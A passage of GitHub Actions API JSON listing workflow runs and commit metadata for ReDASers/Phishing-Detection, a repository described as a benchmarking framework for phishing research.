","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080978,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwOTc4","head_branch":"x_spam_flag","head_sha":"8b25ed8d9153ee37a4db0c2038524b337457d65f","run_number":1075,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1298621746,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjIxNzQ2","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080978","pull_requests":[],"created_at":"2020-10-06T19:37:45Z","updated_at":"2020-10-06T22:21:45Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298621746","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080978/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8b25ed8d9153ee37a4db0c2038524b337457d65f","tree_id":"6e0244b6a82f48e9b48a2e16b763a7b8988355d3","message":"Additional Email Unit-tests","timestamp":"2020-10-06T19:37:31Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":292080359,"node_id":"MDExOldvcmtmbG93UnVuMjkyMDgwMzU5","head_branch":"x_spam_flag","head_sha":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","run_number":1074,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1298619940,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjk4NjE5OTQw","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/292080359","pull_requests":[],"created_at":"2020-10-06T19:37:25Z","updated_at":"2020-10-06T21:20:46Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1298619940","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/292080359/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4e74b5af49195487cc25e3c1ab441bf9847e0fd9","tree_id":"77aa1beb0d2e686b25f12f2d46699b0ff3df537b","message":"Fixed header.x_spam_flag","timestamp":"2020-10-06T19:37:11Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":287536368,"node_id":"MDExOldvcmtmbG93UnVuMjg3NTM2MzY4","head_branch":"master","head_sha":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","run_number":1073,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":1285669384,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjg1NjY5Mzg0","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/287536368","pull_requests":[],"created_at":"2020-10-04T07:05:29Z","updated_at":"2020-10-04T07:18:33Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1285669384","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/287536368/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"bf815420f6e3d3a3b5ab169bda7b374650cd636f","tree_id":"6a25a48c32108163a381fbbdd757f91aa980cadd","message":"Updated Changelog","timestamp":"2020-10-04T07:05:12Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 